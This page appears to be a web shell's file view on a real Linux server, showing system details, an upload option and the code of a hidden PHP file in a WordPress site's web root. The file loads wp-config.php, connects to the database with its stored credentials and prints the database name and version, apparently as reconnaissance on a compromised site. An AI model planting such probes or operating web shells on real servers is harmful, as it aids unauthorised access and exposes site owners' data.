HEX
Server: nginx/1.18.0
System: Linux mail.dakarash.co.id 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.2-1ubuntu2.23
Disabled: NONE
Upload Files
File: /home/dakarash.co.id/public_html/.wpdbtest.php
<?php
header('Content-Type:text/plain');
echo "mysqli=".(int)extension_loaded('mysqli')." pdo_mysql=".(int)extension_loaded('pdo_mysql')."\n";

@include __DIR__.'/wp-config.php';
if(!defined('DB_HOST')){
  echo "ERR: wp-config.php not found or unreadable\n";
  exit;
}

$link = @mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if(!$link){
  echo "CONNECT_ERR: ".mysqli_connect_error()."\n";
  exit;
}
$res = mysqli_query($link,'SELECT DATABASE() db, VERSION() ver');
$row = $res ? mysqli_fetch_assoc($res) : [];
echo "OK DB=".(@$row['db'])." MySQL=".(@$row['ver'])."\n";
mysqli_close($link);